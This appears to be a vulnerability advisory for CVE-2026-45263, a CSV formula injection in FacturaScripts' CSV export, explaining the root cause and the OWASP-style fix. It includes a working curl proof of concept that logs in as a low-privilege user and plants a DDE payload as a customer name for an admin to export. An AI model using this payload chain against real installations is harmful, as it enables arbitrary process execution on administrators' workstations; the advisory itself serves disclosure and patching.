CVE-2026-45263: FacturaScripts CSV Formula Injection in CSVExport
A low-privilege FacturaScripts user can store a spreadsheet formula in any text field (such as a customer name), and when an admin exports that data to CSV, the formula executes inside Excel or LibreO
The problem
Every list and document export in FacturaScripts routes through `Core/Lib/Export/CSVExport.php::writeData()`. That method wraps each string cell in the configured delimiter and concatenates it directly into the CSV row with no check on the first character.
Spreadsheet applications treat cells that begin with `=`, `+`, `-`, `@`, `\t`, or `\r` as executable formulas. The application's only input filter, `Tools::noHtml()`, strips HTML metacharacters (`< > " '`) but leaves formula-trigger characters completely untouched.
Any low-privilege user who can insert or update a customer, supplier, product, or contact record can therefore plant a payload that rides silently in the export until an admin opens the file.
Proof of concept
A working proof-of-concept for CVE-2026-45263 in facturascripts/facturascripts, with the exact payload below.
# 1. Obtain a CSRF token and log in as a low-privilege user.
TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \
| grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
--data-urlencode "fsNick=lowpriv" \
--data-urlencode "fsPassword=lowpriv1234" \
--data-urlencode "multireqtoken=$TOKEN" \
--data-urlencode "action=login" \
http://127.0.0.1:8081/login -o /dev/null
# 2. Fetch a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \
| grep -oP 'multireqtoken" value="\K[^"]+' | head -1)
# 3. Plant a DDE payload as the customer name.
curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \
--data-urlencode "multireqtoken=$TOKEN" \
--data-urlencode "action=insert" \
--data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \
--data-urlencode "cifnif=11111111H" \
-o /dev/null
# 4. As an admin, trigger the standard list-customers CSV export.
curl -s -b /tmp/fs-cookie2 \
'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \
-o /tmp/export.csv
# 5. Confirm the formula survived unescaped.
grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv
# Verified output:
# "11111111H";"";"1";""...;"=SUM(1+1)*cmd|/c calc!A1";...The root cause is a missing formula-leader check in `CSVExport::writeData()` (lines 253-267). The method produces `"<value>"` for every string cell. Because `=SUM(1+1)*cmd|/c calc!A1` starts with `=`, Excel and LibreOffice treat the cell as a formula and invoke Dynamic Data Exchange (DDE), which can spawn arbitrary processes on the admin's workstation.
The upstream sanitiser `Tools::noHtml()` (`Core/Tools.php:45`) only removes `< > " '`, none of which overlap with the OWASP CSV-injection trigger set (`= + - @ \t \r`). This means payloads survive storage and export verbatim.
The recommended patch prepends a single-quote (`'`) to any string cell whose first character is in that trigger set, the standard OWASP force-as-text guard. The same fix needs to be applied to `writeHeader()` and `XLSExport::getCursorRawData()` for complete coverage.
The fix
Upgrade to a version of FacturaScripts that includes the patched `CSVExport::writeData()`. The fix adds a `FORMULA_TRIGGERS` constant (`= + - @ \t \r`) and prepends a literal single-quote to any matching cell before it is wrapped in the CSV delimiter, following OWASP CSV-injection prevention guidance.
Until you can upgrade, restrict the `Update`/`Insert` role permissions on exportable models (Cliente, Proveedor, Producto, Variante, Contacto) to fully trusted users only.
Related research
- critical · 9.9CVE-2026-45262CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn
- high · 7.5CVE-2026-45693CVE-2026-45693: FacturaScripts Unauthenticated Path Traversal in Static File Controllers
- criticalCVE-2026-47677CVE-2026-47677: FacturaScripts 2FA Endpoint Authentication Bypass and Account Takeover
- highCVE-2026-52827CVE-2026-52827: Kimai 2FA TOTP Bypass via Pre-Verification Session Cookie